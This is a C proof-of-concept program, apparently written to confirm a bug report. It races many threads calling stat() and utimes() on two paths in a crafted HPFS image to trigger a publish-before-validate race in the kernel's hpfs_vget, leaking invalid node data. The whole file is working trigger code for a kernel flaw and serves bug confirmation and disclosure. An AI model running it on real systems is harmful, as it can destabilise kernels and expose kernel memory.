/*
 * DF-3253 — hpfs_vget publish-before-validate race PoC (unprivileged).
 *
 * hpfs_vget publishes the hpfsnode into the inode hash (hpfs_hphashins,
 * hpfs_vfsops.c:525) BEFORE bread()/FN_MAGIC validation (:529-541); both
 * error paths vx_put() and leave the H_INVAL node hashed.  hpfs_hphashvget
 * (hpfs_hash.c:104-139) hands that poisoned node to any concurrent lookup
 * blocked in vget() — it never checks H_INVAL.
 *
 * namei serializes lookups within one directory (dvp lock), so the race is
 * driven through TWO DIRECTORIES whose dirents point at the SAME fnode
 * (crafted image: A/ZFILE and B/WFILE -> fnode 0x58, which the kernel
 * ALWAYS rejects).  Even threads race path A, odd threads race path B.
 *
 * Sequentially, stat() of either path can NEVER succeed.  stat()==0 with
 * st_size == 0x00BADF00D (badmagic image) or varying heap garbage (trunc
 * image) is the poisoned handoff.
 *
 * usage: df3253_poc <pathA> <pathB> [nthreads] [iters]
 */
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static const char *g_pathA, *g_pathB;
static int g_nthreads = 16;
static int g_iters = 4000;
static volatile int g_stop = 0;

static pthread_mutex_t g_mtx = PTHREAD_MUTEX_INITIALIZER;
static int g_wins = 0, g_einval = 0, g_enoent = 0, g_other = 0;
static int g_ebadf = 0;
static int g_other_errno = 0;
static unsigned long long g_win_sizes[16];
static unsigned long long g_win_inodes[16];
static int g_win_paths[16];

static void *
racer(void *arg)
{
	long id = (long)arg;
	const char *path = (id & 1) ? g_pathB : g_pathA;
	struct stat sb;
	struct timeval tv;
	int local_wins = 0, local_einval = 0, local_enoent = 0, local_other = 0;
	int local_ebadf = 0;
	int local_other_errno = 0;
	int i;

	for (i = 0; i < g_iters && !g_stop; i++) {
		gettimeofday(&tv, NULL);
		if (stat(path, &sb) == 0) {
			local_wins++;
			if (local_wins <= 2) {
				pthread_mutex_lock(&g_mtx);
				if (g_wins < 16) {
					g_win_sizes[g_wins] =
					    (unsigned long long)sb.st_size;
					g_win_inodes[g_wins] =
					    (unsigned long long)sb.st_ino;
					g_win_paths[g_wins] = (id & 1) + 1;
				}
				printf("RACE WIN tid%ld path%c: stat()=0 on a "
				       "fnode the kernel always rejects: "
				       "st_size=0x%llx st_ino=0x%llx "
				       "st_blocks=%llu mode=%o\n",
				       id, (id & 1) ? 'B' : 'A',
				       (unsigned long long)sb.st_size,
				       (unsigned long long)sb.st_ino,
				       (unsigned long long)sb.st_blocks,
				       sb.st_mode);
				pthread_mutex_unlock(&g_mtx);
			}
			if (local_wins >= 8)
				g_stop = 1;	/* enough evidence */
		} else if (errno == EINVAL) {
			local_einval++;		/* hpfs_vget rejected: normal */
		} else if (errno == EBADF) {
			/*
			 * cvn_stat's v_type switch aborted a vnode that a
			 * SUCCESSFUL lookup returned (VNON: the failing
			 * creator never set v_type).  That IS the poisoned
			 * handoff.  Confirm with a full syscall that does
			 * not check v_type: utimes() on the same path.
			 */
			local_ebadf++;
			tv.tv_usec = 0;
			if (utimes(path, &tv) == 0) {
				local_wins++;
				if (local_wins <= 4) {
					printf("UTIMES WIN tid%ld path%c: "
					       "utimes()=0 on a fnode the "
					       "kernel ALWAYS rejects "
					       "(poisoned handoff confirmed)\n",
					       id, (id & 1) ? 'B' : 'A');
				}
				if (local_wins >= 8)
					g_stop = 1;
			}
		} else if (errno == ENOENT) {
			local_enoent++;
		} else {
			local_other++;
			if (local_other_errno == 0)
				local_other_errno = errno;
		}
	}
	pthread_mutex_lock(&g_mtx);
	g_wins += local_wins;
	g_einval += local_einval;
	g_enoent += local_enoent;
	g_other += local_other;
	g_ebadf += local_ebadf;
	if (local_other_errno && g_other_errno == 0)
		g_other_errno = local_other_errno;
	pthread_mutex_unlock(&g_mtx);
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t t[64];
	long i;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <pathA> <pathB> [nthreads] [iters]\n",
		    argv[0]);
		return (2);
	}
	setvbuf(stdout, NULL, _IONBF, 0);
	g_pathA = argv[1];
	g_pathB = argv[2];
	if (argc > 3)
		g_nthreads = atoi(argv[3]);
	if (argc > 4)
		g_iters = atoi(argv[4]);
	if (g_nthreads > 64)
		g_nthreads = 64;

	printf("DF-3253: racing %d threads x %d stats (even->%s, odd->%s)\n",
	    g_nthreads, g_iters, g_pathA, g_pathB);

	for (i = 0; i < g_nthreads; i++)
		pthread_create(&t[i], NULL, racer, (void *)i);
	for (i = 0; i < g_nthreads; i++)
		pthread_join(t[i], NULL);

	printf("DF-3253 SUMMARY: wins=%d einval=%d ebadf(poisoned handoffs "
	       "seen by stat)=%d enoent=%d other=%d",
	    g_wins, g_einval, g_ebadf, g_enoent, g_other);
	if (g_other_errno)
		printf(" (other errno=%d)", g_other_errno);
	printf("\n");
	if (g_wins > 0) {
		printf("DF-3253 FIRST-WIN ATTRS:");
		for (i = 0; i < g_wins && i < 4; i++)
			printf(" [path%c size=0x%llx ino=0x%llx]",
			    g_win_paths[i] == 2 ? 'B' : 'A',
			    g_win_sizes[i], g_win_inodes[i]);
		printf("\n");
		printf("DF-3253 VERDICT: POISONED H_INVAL HPFSNODE HANDED OUT "
		       "BY hpfs_hphashvget — RACE CONFIRMED\n");
	} else {
		printf("DF-3253 VERDICT: no win this run "
		       "(all lookups correctly failed EINVAL)\n");
	}
	return (0);
}
